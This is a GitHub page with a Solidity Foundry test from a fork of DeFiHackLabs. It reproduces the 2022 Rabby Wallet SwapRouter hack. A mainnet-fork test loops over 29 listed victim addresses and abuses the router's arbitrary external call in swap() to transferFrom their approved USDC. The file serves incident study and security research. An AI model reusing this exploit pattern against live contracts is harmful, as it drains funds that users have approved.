forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathRabbyWallet_SwapRouter.exp.sol
136 lines (123 loc) · 6.54 KB
/
RabbyWallet_SwapRouter.exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~200,000 US$
// Root cause : Classic arbitrary external call vulnerability
// Multiple tokens has been stolen, and 114 ETH deposited to Tornado Cash
// Attacker : 0xb687550842a24d7fbc6aad238fd7e0687ed59d55
// Attack Contract : 0x9682f31b3f572988f93c2b8382586ca26a866475
// Vulnerable Contract : 0x6eb211caf6d304a76efe37d9abdfaddc2d4363d1 and these: https://twitter.com/Rabby_io/status/1579833969566449666
// Attack Txs :
// 0x914c1ae4f03657064f0b1d5ddc6e06f39e82bce6fb2f726efdca52c092fbfc26
// 0xa02c180149ce03d1b6e3d412585000b968b7db59a277717ec51d0899c1a3c017
// 0x914c1ae4f03657064f0b1d5ddc6e06f39e82bce6fb2f726efdca52c092fbfc26
// 0xf1c1066c259672396b8f242311a9f1c83bfa52c27529d713d80a3da93047c37f
// 0x53835af1b7df33435188d2380328b81c0e8a22b01353c76e3dac352275895b45
// 0x322592750691798488006a26aa042b55ab9d7637f9b0adc42089a4c480e51870
// 0xce0935010baf445e300d4d600caac7fc1fecb5ccb092cdbef57904aa7e5408b2
// 0x366df0c20e00666749b16ae00475b3c41834dc659ebb29e059aa9bffa892c038
// 0x9fac5412eb42aab07dcb2c5fbb03669aaa98d9c57849d44d8291d3156d9f4871
// 0xff1f352912666796d5cd51b5dfa3e6319544aeb5938e1e9f310fd5fcb02be6da
// 0x84156ea5360b679dfa7cdda80c16aafbfdf1ba20b84bcf76f79666f0c405b86f
// 0xc10ec615e2d18c8a7dad2bb2418c422472565d9622ed851298fc848c3a451387
// 0x7cefbfd14497b1c577423d94ea521615991eee2590fab980230d9dd1d80ccf1c
// 0x8bcac5e570aa695b5e0ce7dd58766eaa5830f44bbef5008aef63c6efb036e717
// 0xb3af75f703ddc5d15ff872585b7d970c5204b90399a5859ec39e736a2ffbf375
// 0x708ffcf4a76bd159056afb17ce6c5f5adcb5899e465bbf038aae79c3cef666ae
// 0xca53e107a9a21d8f431614570a98c4718cca7172415e3fbed8842d426ac3ab54
// 0x5bbab18059f8c3fec56a0ddcd15feddf7cda8b8007b254436956db1d9ffe72ec
// 0x6899b8caee16dbd75359cabcd24e32b2362c474cdf39ea810cf4386018761beb
// 0x07887fffc4488354d813fdcca5da0586dd6f9a3da36d503af768302eacbeec41
// Reproduce Tx: Steal USDC - 0x914c1ae4f03657064f0b1d5ddc6e06f39e82bce6fb2f726efdca52c092fbfc26
//
// @Analysis
// Supremacy Inc. : https://twitter.com/Supremacy_CA/status/1579813933669486592
// SlowMist : https://twitter.com/SlowMist_Team/status/1579839744128978945
// Beosin Alert : https://twitter.com/BeosinAlert/status/1579856733178331139
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
address constant attacker = 0xb687550842a24D7FBC6Aad238fd7E0687eD59d55;
address constant RabbySwapRouter = 0x6eb211CAF6d304A76efE37D9AbDFAdDC2d4363d1;
address constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
contract Attacker is Test {
function setUp() public {
cheat.createSelectFork("mainnet", 15_724_451);
cheat.label(attacker, "attacker");
cheat.label(RabbySwapRouter, "RabbySwapRouter");
cheat.label(usdt, "USDT");
cheat.label(usdc, "USDC");
}
function testExploit() public {
emit log_named_decimal_uint("[Before] Attacker's USDC Balance:", IERC20(usdc).balanceOf(address(this)), 6);
// Somehow attacker got these EOA addresses that are approved the Rabby Wallet Swap Router contract.
// ...Maybe the attacker grep the history Txs and find those victims that interacted with the Swap Router contract.
address[29] memory victims = [
0x94228872bb16CBCDfe010c42a8e456d15B366bF1,
0x6a3BCee1eBeBDaA099a46d21a355D0FF1C521fCB,
0xDAcCce559a0571083556f39d05b177579613D83b,
0x720610ed4925676D971B0ae5b3080bd233E19038,
0xf9e1D1e9F22c96752356AdFd377231528c7E851E,
0xAF22b1692dEe5929952cFBA4D9a74c0952C712C8,
0xFcdB212E7e7588D2dd2cc44C30F6C79fB507DB4B,
0x9A93C5f7680724F6b7097085B0052A56D80615Bd,
0x491968b05D95979BA3a52D73D8a39EA96693f011,
0xc64284527B04A48c6673dF62f5B48188Ccfdf658,
0x9df99a08710615FaBcb16Ea0b05ED039e8a5F644,
0xc897967Bab363caDD4F3001d51506bCc5DD6f6C2,
0x48aa9d67cb713804C005516BCa7769c159d7897C,
0xB9AFb68de4E1f89acA813ca75d87bd86a1a17aa3,
0xC10898edA672fDFc4Ac0228bB1Da9b2bF54C768f,
0x73B37009778048f6dB88fD602582473e74e5019a,
0xbB4b297cC5257D8ab7F280361C96b3A27014EbBb,
0x5BE2539BaA7622865FDc401bA26adB636d78f5Bf,
0x25939E70Dc19ef0aa2819f5c6544712a36eEbfa7,
0x5853eD4f26A3fceA565b3FBC698bb19cdF6DEB85,
0x73a6b16aD155aCd15F1A69e61369DB883dFC0b0b,
0xE451DC0948F33B1261c585f0DB84cca9Ab69F3A4,
0xd38023D7Ee559672fA00eA5156734710bcc0e781,
0x059c1592696D430E7bA8cccC984BA9639b8CF90B,
0x69AfE88F22F416fFB7d2Bf119b31EBc0D0d85325,
0xD506Fb416B0ad8DBf7859B9B38c435405E3d1110,
0xe7b6804A9fE8aDEb109112A8A2CF40093E0d55fc,
0xeEBbAf298bb8B5076723d69AF61bf75a5C2ad8d6,
0x1Fc550e98aD3021e32C47A84019F77a0792c60B7
];
for (uint256 i; i < victims.length; ++i) {
// Step1: Check the victim allowance
uint256 vic_balance = IERC20(usdc).balanceOf(victims[i]);
uint256 vic_allowance = IERC20(usdc).allowance(victims[i], RabbySwapRouter);
// Step2: If allowance >= balance: exploit!
if (vic_allowance >= vic_balance) {
// Classic arbitrary external calls `swap()` vulnerability, and the parameter `address dexRouter` is controllable.
bytes memory usdc_callbackData = abi.encodeWithSignature(
"transferFrom(address,address,uint256)", victims[i], address(this), vic_balance
);
IRabbySwap(RabbySwapRouter).swap(
usdt, 0, address(this), 4660, usdc, usdc, usdc_callbackData, block.timestamp
);
}
}
emit log_named_decimal_uint("[After] Attacker's USDC Balance:", IERC20(usdc).balanceOf(address(this)), 6);
}
function balanceOf(address) external view returns (uint256) {
return 100e18;
}
function transfer(address, uint256) external view returns (bool) {
return true;
}
receive() external payable {}
}
/* -------------------- Interface -------------------- */
interface IRabbySwap {
function swap(
address srcToken,
uint256 amount,
address dstToken,
uint256 minReturn,
address dexRouter,
address dexSpender,
bytes memory data,
uint256 deadline
) external;
}